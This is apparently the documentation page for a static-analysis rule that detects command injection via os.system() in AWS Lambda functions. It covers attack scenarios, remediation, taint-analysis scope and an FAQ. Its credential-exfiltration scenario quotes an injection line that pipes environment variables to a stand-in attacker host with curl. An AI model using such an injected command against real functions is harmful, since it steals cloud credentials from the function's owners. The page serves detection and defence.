Lambda Command Injection via os.system()

CRITICAL

Lambda event data flows to os.system(), enabling arbitrary OS command execution inside the Lambda execution environment.

Rule Information

Language
Python
Category
AWS Lambda
Author
Shivasurya
Shivasurya
Last Updated
2026-03-22
Tags
pythonawslambdacommand-injectionos-systemshelltaint-analysisinter-proceduralCWE-78OWASP-A03
CWE References

Interactive Playground

Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.

pathfinder scan --ruleset python/PYTHON-LAMBDA-SEC-001 --project .
1
2
3
4
5
6
7
8
9
rule.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

About This Rule

Understanding the vulnerability and how it is detected

This rule detects OS command injection vulnerabilities in AWS Lambda functions where untrusted event data flows into os.system() calls.

Lambda functions receive input from the event dictionary, which is populated by triggers such as API Gateway, SQS, SNS, S3 event notifications, DynamoDB Streams, and EventBridge. Unlike web frameworks, Lambda has no built-in sanitization layer between the event payload and application code. Fields like event.get("body"), event.get("queryStringParameters"), event["pathParameters"], and event["Records"] are fully attacker-controllable when the trigger is a public API Gateway endpoint.

os.system() always passes its argument to the system shell (/bin/sh on Lambda's Amazon Linux 2 runtime). When event data is embedded in the command string, an attacker can inject shell metacharacters (semicolons, pipes, backticks, $() substitution) to run arbitrary commands. Lambda's short-lived execution model does not limit the impact: injected commands can exfiltrate environment variables (including AWS credentials from AWS_ACCESS_KEY_ID and AWS_SESSION_TOKEN), read /tmp contents, make outbound network calls to attacker infrastructure, and enumerate the execution environment for further attacks against the associated IAM role.

Security Implications

Potential attack scenarios if this vulnerability is exploited

1

AWS Credential Exfiltration

Every Lambda execution environment contains temporary AWS credentials in the environment variables AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN. An injected command like "; curl attacker.com/$(env | base64)" can exfiltrate these credentials, giving an attacker the full permissions of the Lambda's IAM execution role, which may include access to S3 buckets, DynamoDB tables, Secrets Manager, RDS, and other AWS services.

2

VPC Resource Pivoting

Lambda functions deployed inside a VPC have network access to internal resources such as RDS databases, ElastiCache clusters, and internal microservices. Command injection can be used to pivot from the public-facing Lambda to these protected internal resources that are otherwise unreachable from the internet.

3

/tmp Data Exfiltration

Lambda's /tmp directory (up to 512 MB) may contain cached data, temporary files, extracted archives, or decrypted secrets placed there by previous invocations. Injected commands can read and exfiltrate all of this data before the execution environment is reused or recycled.

4

Reverse Shell in Execution Environment

Attackers can use command injection to establish a reverse shell from within the Lambda execution environment, providing interactive access for the duration of the warm execution environment's lifetime and enabling manual exploration of the environment, installed libraries, and network access patterns.

How to Fix

Recommended remediation steps

  • 1Replace all os.system() calls with subprocess.run() using a list of arguments and shell=False (the default), which prevents shell interpretation of metacharacters.
  • 2Never use shell=True with any argument that originates from the Lambda event dictionary, query parameters, or any external input.
  • 3Validate event fields with strict allowlists or regular expressions before they are used in any system call.
  • 4Apply least-privilege IAM policies to the Lambda execution role so that credential exfiltration from command injection has minimal blast radius.
  • 5Enable AWS CloudTrail and Lambda function URL access logs to detect unusual outbound patterns that may indicate active exploitation.

Detection Scope

How Code Pathfinder analyzes your code for this vulnerability

This rule performs inter-procedural taint analysis with global scope. Sources are Lambda event dictionary access calls: calls("event.get"), calls("event.__getitem__"), and attribute accesses on the event dict including event.get("body"), event.get("queryStringParameters"), event.get("pathParameters"), and event["Records"]. The sink is calls("os.system") with the tainted value tracked via .tracks(0) (the command string argument). Sanitizers include shlex.quote() for individual arguments and explicit allowlist membership checks. The analysis follows taint through variable assignments, function arguments, string concatenation, and f-string interpolation across module boundaries.

Compliance & Standards

Industry frameworks and regulations that require detection of this vulnerability

CWE Top 25
CWE-78 ranked #5 in 2023 Most Dangerous Software Weaknesses
OWASP Top 10
A03:2021 - Injection
PCI DSS v4.0
Requirement 6.2.4 - protect against injection attacks
NIST SP 800-53
SI-10: Information Input Validation; SI-3: Malicious Code Protection
AWS Security Best Practices
Apply least-privilege IAM; validate all inputs before execution

References

External resources and documentation

Similar Rules

Explore related security rules for Python

Frequently Asked Questions

Common questions about Lambda Command Injection via os.system()

Every Lambda execution environment automatically receives temporary AWS credentials via the execution role. These credentials are available as environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) without any additional authentication step. A single os.system() injection can exfiltrate these credentials and give an attacker the full permissions of the Lambda's IAM role, which may span multiple AWS services and accounts. Traditional servers do not automatically carry cloud provider credentials in this way.
No. The attack completes within the single Lambda invocation that triggered it. Exfiltrating credentials, reading /tmp, making outbound HTTP calls, or establishing a reverse shell all complete within the invocation's timeout window (up to 15 minutes). The short-lived model does not prevent the attack; it only means the attacker must act within the invocation duration, which is ample time.
shlex.quote() makes a single argument safe for inclusion in a shell string by wrapping it in single quotes with internal single quotes escaped. However, it must be applied correctly to each individual argument, and os.system() should still be replaced with subprocess.run() using a list. If any argument escapes shlex.quote() application (e.g., via conditional logic), injection remains possible. The safe pattern is subprocess with a list and no shell=True.
Use subprocess.run() with a pre-built list where executable names come from a hardcoded allowlist and file arguments are validated with strict regex patterns before use. For common file operations (image resizing, document conversion), consider using native Python libraries (Pillow, PyPDF2) via Lambda Layers instead of shelling out to system binaries, which eliminates the attack surface entirely.
Enable AWS CloudTrail to detect unusual API calls made with the Lambda's execution role credentials. Configure VPC Flow Logs to detect unexpected outbound connections. Review Lambda function logs in CloudWatch for unexpected output or error patterns. Consider enabling AWS GuardDuty, which can detect credential exfiltration and unusual API patterns associated with compromised Lambda execution roles.

New feature

Get these findings posted directly on your GitHub pull requests

The Lambda Command Injection via os.system() rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.

See how it works